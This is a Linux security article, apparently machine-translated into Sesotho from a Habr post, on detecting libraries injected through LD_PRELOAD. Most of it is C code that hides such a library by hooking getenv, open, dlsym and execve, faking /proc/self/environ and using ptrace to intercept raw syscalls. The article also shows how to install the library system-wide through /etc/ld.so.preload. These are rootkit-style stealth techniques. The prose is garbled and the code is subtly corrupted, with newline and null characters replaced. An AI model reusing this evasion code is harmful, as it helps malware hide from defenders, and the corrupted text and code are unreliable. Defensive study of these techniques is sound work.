E batla LD_PRELOAD

Lengolo lena le ngotsoe ka 2014, empa ke sa tsoa kena tlas'a khatello ho Habré 'me ha ea ka ea bona leseli la letsatsi. Nakong ea thibelo ke ile ka lebala ka eona, empa joale ke e fumane ka har'a lingoloa. Ke nahanne ka ho e hlakola, empa mohlomong e tla ba molemo ho motho e mong.

E batla LD_PRELOAD

Ka kakaretso, molaoli oa Labohlano o bala ka sehlooho sa ho batla "kenyellelitsoe" LD_PRELOAD.

1. Phallo e khuts'oane bakeng sa ba sa tloaelanang le phetoho ea tšebetso

Ba bang kaofela ba ka ea ka kotloloho ho 2.

Ha re qale ka mohlala oa khale:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  srand (time(NULL));
  for(int i=0; i<5; i++){
    printf ("%dn", rand()%100);
  }
}

Re kopanya ntle le lifolakha:

$ gcc ./ld_rand.c -o ld_rand

'Me, joalo ka ha ho lebelletsoe, re fumana linomoro tse 5 tse sa reroang ka tlase ho 100:

$ ./ld_rand
53
93
48
57
20

Empa ha re nahane hore ha re na khoutu ea mohloli oa lenaneo, empa re hloka ho fetola boitšoaro.

Ha re iketsetseng laeborari ea rona ka mokhoa oa rona oa ts'ebetso, mohlala:

int rand(){
  return 42;
}

$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so

'Me joale khetho ea rona e sa reroang e ka tsejoa esale pele:

# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42

Leqheka lena le shebahala le khahla le ho feta haeba re qala ho romella laeborari ea rona ka

$ export LD_PRELOAD=$PWD/ld_rand.so

kapa re tla e etsa pele

# echo "$PWD/ld_rand.so" > /etc/ld.so.preload

ebe o tsamaisa lenaneo joalo ka tloaelo. Ha re so fetole mola o le mong oa khoutu lenaneong ka bolona, ​​empa boits'oaro ba lona joale bo ipapisitse le tšebetso e nyane ea laeborari ea rona. Ho feta moo, ka nako ea ho ngola lenaneo, the Ranta e bile e le sieo.

Ke eng e entseng hore lenaneo la rona le sebelise fake Ranta? Ha re e nke mohato ka mohato.
Ha ts'ebeliso e qala, lilaebrari tse ling lia kengoa tse nang le mesebetsi e hlokoang ke lenaneo. Re ka li sheba ka ho sebelisa ldd:

# ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffc8b1f3000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)

Lenane lena le ka fapana ho latela mofuta oa OS, empa ho tlameha ho ba le faele moo libc.so. Ke laebrari ena e fanang ka mehala ea sistimi le mesebetsi ea mantlha joalo ka bulehetse, malloc, hatisa etc. Tsa rona Ranta e boetse e har'a bona. Ha re etse bonnete ba sena:

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand

Ha re boneng hore na sehlopha sa lilaebrari se fetoha ha se sebelisoa LD_PRELOAD

# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
        linux-vdso.so.1 (0x00007ffea52ae000)
        /scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)

Hoa etsahala hore phetoho e behiloe LD_PRELOAD re qobella ho jarisa ld_rand.so esita le ho sa tsotellehe taba ea hore lenaneo ka boeona ha le e hloke. 'Me ho tloha ts'ebetsong ea rona "ranta" meroalo pele ho moo Ranta от libc.so, ebe o busa sehlaha.

Ho lokile, re khonne ho khutlisa ts'ebetso ea matsoalloa, empa re ka etsa bonnete ba hore ts'ebetso ea eona e bolokiloe 'me liketso tse ling lia eketsoa. Ha re fetoleng maemo a rona:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
 
typedef int (*orig_rand_f_type)(void);
 
int rand()
{
  /* Выполняем некий код */
  printf("Evil injected coden");
  
  orig_rand_f_type orig_rand;
  orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
  return orig_rand();
}

Mona, joalo ka "keketso" ea rona, re hatisa mola o le mong feela oa mongolo, ka mor'a moo re theha sesupo sa tšebetso ea mantlha. Ranta. Ho fumana aterese ea mosebetsi ona re hloka dlsym ke ts'ebetso e tsoang laebraring libdle tla fumana ea rona Ranta ka har'a pokello ea lilaebrari tse matla. Ka mor'a moo re tla bitsa mosebetsi ona mme re khutlisetse boleng ba oona. Ka hona, re tla hloka ho eketsa "-ldl" nakong ea kopano:

$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so

$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95

Mme lenaneo la rona le sebelisa "letsoalloa" Ranta, ha a se a kile a etsa diketso tse dihlong.

2. Bohloko ba ho batla

Ka ho tseba ka tšokelo e ka bang teng, re batla ho lemoha seo pele E ile ea etsoa. Ho hlakile hore tsela e molemohali ea ho e lemoha ke ho e sutumelletsa ka har'a kernel, empa ke ne ke thahasella likhetho tsa ho lemoha sebakeng sa basebelisi.

Ka mor'a moo, litharollo tsa ho lemoha le ho hanyetsa li tla tla ka bobeli.

2.1. Ha re qaleng ka mokhoa o bonolo

Joalo ka ha ho boletsoe pejana, o ka hlakisa laebrari hore e jarolloe ka ho feto-fetoha LD_PRELOAD kapa ka ho e ngola faeleng /etc/ld.so.preload. Ha re theheng li-detectors tse peli tse bonolo.

Ea pele ke ho hlahloba phapang ea tikoloho e behiloeng:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main()
{
  char*  pGetenv = getenv("LD_PRELOAD");
  pGetenv != NULL ?
    printf("LD_PRELOAD (getenv) [+]n"):
    printf("LD_PRELOAD (getenv) [-]n");
}

Ea bobeli ke ho hlahloba hore na faele e butsoe:

#include <stdio.h>
#include <fcntl.h>

int main()
{
  open("/etc/ld.so.preload", O_RDONLY) != -1 ?
    printf("LD_PRELOAD (open) [+]n"):
    printf("LD_PRELOAD (open) [-]n");
}

Ha re kenye lilaebraring:

$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload

$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]

Mona le ka tlase, [+] e bontša katleho e fumanoeng.
Ka hona, [-] e bolela ho hlokomoloha ho lemoha.

Sesebelisoa se joalo se sebetsa hakae? Ha re shebeng phapang ea tikoloho pele:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>

char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
    if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
    if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
    return orig_getenv(name);
}

$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]

Ka ho tšoanang, re tlosa cheke bulehetse:

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>

int (*orig_open)(const char*, int oflag) = NULL;

int open(const char *path, int oflag, ...)
{
    char real_path[256];
    if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0){
        errno = ENOENT;
        return -1;
    }
    return orig_open(path, oflag);
}

$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]

Ee, mekhoa e meng ea ho fihlella faele e ka sebelisoa mona, joalo ka, bula64, boemo joalo-joalo, empa, ha e le hantle, ho hlokahala mela e tšoanang ea 5-10 ho ba thetsa.

2.2. Ha re tsoeleng pele

Ka holimo re sebelisitse getenv() ho fumana boleng LD_PRELOAD, empa ho boetse ho na le mokhoa o mong oa "boemo bo tlase" oa ho fihla ENV- mefuta-futa. Re ke ke ra sebelisa mesebetsi e mahareng, empa re tla bua ka sehlopha **tikoloho, e bolokang kopi ea tikoloho:

#include <stdio.h>
#include <string.h>

extern char **environ;
int main(int argc, char **argv) {
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++)
    {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL)
      {
        printf("LD_PRELOAD (**environ) [+]n");
        return 0;
      }
    }
  printf("LD_PRELOAD (**environ) [-]n");
  return 0;
}

Kaha mona re bala data ka kotloloho ho tsoa mohopolong, mohala o joalo o ke ke oa amoheloa, 'me oa rona undetect_getenv ha e sa kena-kenana le ho tsebahatsa ho itšunya-tšunya.

$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]

Ho bonahala eka bothata boo bo rarollotsoe? E sa ntse e qala.

Ka mor'a hore lenaneo le qale, boleng ba ho fetoha LD_PRELOAD ba hackers ha ba sa e hloka mohopolong, ke hore, ba ka e bala le ho e hlakola pele ba phethahatsa litaelo leha e le life. Ehlile, ho hlophisa lethathamo la mohopolo, bonyane, ke mokhoa o mobe oa ho etsa mananeo, empa see se ka emisa joang motho ea sa re lakatseng tse molemo?

Ho etsa sena re hloka ho iketsetsa mosebetsi oa rona oa fake init(), eo ho eona re thibelang e kentsoeng LD_PRELOAD 'me u e fetisetse ho sehokelo sa rona:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>

extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;


// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));

  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD
        unsetenv(env);
        break;
      }
    }
}

int execve(const char *path, char *const argv[], char *const envp[])
{
  int i = 0, j = 0, k = -1, ret = 0;
  char** new_env;
  if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");

  // Проверям не существует ли других установленных LD_PRELOAD
  for(i = 0; envp[i]; i++){
    if(strstr(envp[i], "LD_PRELOAD")) k = i;
  }
  // Если LD_PRELOAD не было установлено до нас, то добавим его
  if(k == -1){
    k = i;
    i++;
  }
  // Создаём новое окружение
  new_env = (char**) malloc((i+1)*sizeof(char*));

  // Копируем старое окружение, за исключением LD_PRELOAD
  for(j = 0; j < i; j++) {
    // перезаписываем или создаём LD_PRELOAD
    if(j == k) {
      new_env[j] = (char*) malloc(256);
      strcpy(new_env[j], "LD_PRELOAD=");
      strcat(new_env[j], evil_env);
    }
    else new_env[j] = (char*) envp[j];
  }
  new_env[i] = NULL;
  ret = orig_execve(path, argv, new_env);
  free(new_env[k]);
  free(new_env);
  return ret;
}

Re etsa le ho hlahloba:

$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]

2.3. /proc/self/

Leha ho le joalo, memori ha se sebaka sa ho qetela moo o ka fumanang sebaka se seng LD_PRELOAD, ho boetse ho na le /proc/. Ha re qaleng ka tse hlakileng /proc/{PID}/environ.

Ha e le hantle, ho na le tharollo ea bokahohle bakeng sa sa hlokomele **tikoloho и /proc/self/environ. Bothata ke boitšoaro bo "fosahetseng". unsetenv(env).

khetho e nepahetseng

void evil_init()
{
  // Сначала сохраним текущее значение LD_PRELOAD
  static const char *ldpreload = "LD_PRELOAD";
  int len = strlen(getenv(ldpreload));
  evil_env = (char*) malloc(len+1);
  strcpy(evil_env, getenv(ldpreload));
 
  int i;
  char env[] = "LD_PRELOAD";
  if (environ != NULL)
    for (i = 0; environ[i] != NULL; i++) {
      char * pch;
      pch = strstr(environ[i],env);
      if(pch != NULL) {
        // Избавляемся от текущего LD_PRELOAD 
        //unsetenv(env);
        // Вместо unset просто обнулим нашу переменную
        for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
        break;
      }
    }
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init  ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Empa ha re nahane hore ha rea ​​e fumana le /proc/self/environ e na le "mathata" data.

A re ke re leke pele ka "ipate" ea rona e fetileng:

$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so

katse e sebelisa se tšoanang ho bula faele bula(), kahoo tharollo e tšoana le e neng e se e entsoe karolong ea 2.1, empa joale re theha faele ea nakoana moo re kopitsang litekanyetso tsa mohopolo oa 'nete ntle le mela e nang le LD_PRELOAD.

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>

#define BUFFER_SIZE 256

int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";

char *sstrstr(char *str, const char *sub)
{
  int i, found;
  char *ptr;
  found = 0;
  for(ptr = str; *ptr != ' '; ptr++) {
    found = 1;
    for(i = 0; found == 1 && sub[i] != ' '; i++){
      if(sub[i] != ptr[i]) found = 0;
    }
    if(found == 1)
      break;
  }
  if(found == 0)
    return NULL;
  return ptr + i;
}

void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
  int fd;
  char buffer[BUFFER_SIZE];
  int bytes = -1;
  int wbytes = -1;
  int k = 0;

  pid_t pid = getpid();

  int fh;
  if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
    printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
    exit (42);
  }
  if((fd=orig_open(original_path, O_RDONLY))==-1) {
    printf("LD: Cannot open read-file.n");
    exit(42);
  }
  do
  {
    char t = 0;
    bytes = read(fd, &t, 1);
    buffer[k++] = t;
    //printf("%c", t);
    if(t == ' ') {
      //printf("n");
  
      if(!sstrstr(buffer, "LD_PRELOAD")) {
        if((wbytes = write(fh,buffer,k))==-1) {
          //printf("write errorn");
        }
        else {
          //printf("writed %dn", wbytes);
        }
      }
      k = 0;
    }
  }
  while(bytes != 0);
    
  close(fd);
  close(fh);
}

int open(const char *path, int oflag, ...)
{
  char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
  pid_t pid = getpid();
  if(!orig_open)
  orig_open = dlsym(RTLD_NEXT, "open");
  realpath(path, real_path);
  snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
  
  if(strcmp(real_path, proc_path) == 0) {
    snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
    realpath(proc_path_0, proc_path);
    
    fakeMaps(real_path, proc_path, soname);
    return orig_open(proc_path, oflag);
  }
  return orig_open(path, oflag);
}

Mme mohato ona o fetile:

$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$

Sebaka se latelang se totobetseng ke /proc/self/maps. Ha ho na thuso ho lula ho eona. Tharollo e ts'oana ka ho felletseng le e fetileng: kopitsa data ho tsoa faeleng ho tlosa mela e lipakeng libc.so и ld. kahoo.

2.4. Khetho e tsoang ho Chokepoint

Ke ratile tharollo ena ka ho khetheha bakeng sa bonolo ba eona. Re bapisa liaterese tsa mesebetsi e laetsoeng ka kotloloho ho tloha libc, le liaterese tse "LAtelang".

#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>

#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"

int main(int argc, char *argv[]) {
  void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
  char *syscall_open = "open";
  int i;
  void *(*libc_func)();
  void *(*next_func)();
  
  libc_func = dlsym(libc, syscall_open);
  next_func = dlsym(RTLD_NEXT, syscall_open);
  if (libc_func != next_func) {
    printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
    printf("Libc address: %pn", libc_func);
    printf("Next address: %pn", next_func);
  }
  else {
    printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
  }
  return 0;
}

Ho kenya laebrari ka ho kheloha "open()" le ho hlahloba:

$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135

Ho hanyetsa ho ile ha bonahala ho le bonolo le ho feta:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
  return _dl_sym (handle, symbol, dlsym);
}

# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]

2.5. Li-syscalls

Ho ka bonahala eka sena ke sohle, empa re ntse re tla ferekana. Haeba re lebisa mohala oa sistimi ka kotloloho ho kernel, sena se tla feta ts'ebetso eohle ea ho thibela. Tharollo e ka tlase, ehlile, e itšetlehile ka meralo (x86_64). Ha re leke ho e kenya tšebetsong ho bona ho buleha ld.so.e kenya pele.

#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BUFFER_SIZE 256

int syscall_open(char *path, long oflag)
{
    int fd = -1;
    __asm__ (
             "mov $2, %%rax;" // Open syscall number
             "mov %1, %%rdi;" // Address of our string
             "mov %2, %%rsi;" // Open mode
             "mov $0, %%rdx;" // No create mode
             "syscall;"       // Straight to ring0
             "mov %%eax, %0;" // Returned file descriptor
             :"=r" (fd)
             :"m" (path), "m" (oflag)
             :"rax", "rdi", "rsi", "rdx"
             );
    return fd;
 }
int main()
{
    syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
      printf("LD_PRELOAD (open syscall) [+]n"):
      printf("LD_PRELOAD (open syscall) [-]n");
        
}

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]

Mme bothata bona bo na le tharollo. qotsitsoe ho monna'A:

ptrace ke sesebelisoa se lumellang ts'ebetso ea motsoali ho shebella le ho laola tsoelo-pele ea ts'ebetso e 'ngoe, ho sheba le ho fetola data le lirejisete tsa eona. Ka tloaelo ts'ebetso ena e sebelisoa ho theha li-breakpoints lenaneong la debugging le ho lekola mehala ea sistimi.

Ts'ebetso ea motsoali e ka qala ho latela ka ho letsetsa fork(2) pele, ebe ts'ebetso e hlahisoang ke ngoana e ka etsa PTRACE_TRACEME, e lateloe (hangata) ka ho etsa exec(3). Ka lehlakoreng le leng, ts'ebetso ea motsoali a ka qala ho lokisa mokhoa o teng o sebelisa PTRACE_ATTACH.

Ha ho lateloa, ts'ebetso ea ngoana e emisa nako le nako ha e fumana letšoao, le haeba letšoao le hlokomolohuoa. (Mokhelo ke SIGKILL, e sebetsang ka tloaelo.) Ts'ebetso ea motsoali e tla tsebisoa ka sena ka ho letsetsa wait(2), ka mor'a moo e ka sheba le ho fetola litaba tsa ts'ebetso ea ngoana pele e qala. Mokhoa oa motsoali joale o lumella ngoana hore a tsoele pele ho matha, maemong a mang a hlokomoloha letšoao le rometsoeng ho lona kapa ho romela letšoao le leng ho e-na le hoo).

Ka hona, tharollo ke ho shebella ts'ebetso, ho e emisa pele tsamaiso e 'ngoe le e' ngoe e letsetsa 'me, ha ho hlokahala, e fetisetsa khoele ho ts'ebetso ea hook.

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>


#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip 
#endif

long NOHOOK = 0;

long evil_open(const char *path, long oflag, long cflag) 
{
    char real_path[PATH_MAX], maps_path[PATH_MAX];
    long ret;
    pid_t pid;
    pid = getpid();
    realpath(path, real_path);
    if(strcmp(real_path, "/etc/ld.so.preload") == 0)
    {
        errno = ENOENT;
        ret = -1;
    }
    else
    {
        NOHOOK = 1; // Entering NOHOOK section
        ret = open(path, oflag, cflag);
    }
    // Exiting NOHOOK section
    NOHOOK = 0;
    return ret;
}

void init()
{
    pid_t program;
    // Форкаем дочерний процесс
    program = fork();
    if(program != 0) {
        int status;
        long syscall_nr;
        struct user_regs_struct regs;
        // Подключаемся к дочернему процессу
        if(ptrace(PTRACE_ATTACH, program) != 0) {
            printf("Failed to attach to the program.n");
            exit(1);
        }
        waitpid(program, &status, 0);
        // Отслеживаем только SYSCALLs
        ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
        while(1) {
            ptrace(PTRACE_SYSCALL, program, 0, 0);
            waitpid(program, &status, 0);
            if(WIFEXITED(status) || WIFSIGNALED(status)) break;
            else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
                // Получаем номер системного вызова
                syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
                if(syscall_nr == __NR_open) {
                    // Читаем слово из памяти дочернего процесса
                    NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
                    // Перехватываем вызов
                    if(!NOHOOK) {
                        
                        // Копируем регистры дочернего процесса
                        // в переменную regs родительского
                        ptrace(PTRACE_GETREGS, program, 0, &regs);
                        // Push return address on the stack
                        regs.REG_SP -= sizeof(long);
                        // Копируем слово в память дочернего процесса
                        ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
                        // Устанавливаем RIP по адресу evil_open
                        regs.REG_IP = (unsigned long) evil_open;
                        // Записываем состояние регистров процесса
                        ptrace(PTRACE_SETREGS, program, 0, &regs);
                    }
                }
                ptrace(PTRACE_SYSCALL, program, 0, 0);
                waitpid(program, &status, 0);
            }
        }
        exit(0);
    }
    else {
        sleep(0);
    }
}

Re hlahloba:

$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]

+0-0=5

ke leboha haholo

Charles Hubain
choke point
ValdikSS
Philippe Teuwen
derhass

, eo lihlooho, mehloli le litlhaloso li entseng ho feta kamoo ke entseng ho etsa hore lengolo lena le hlahe mona.

Source: www.habr.com

Eketsa ka tlhaloso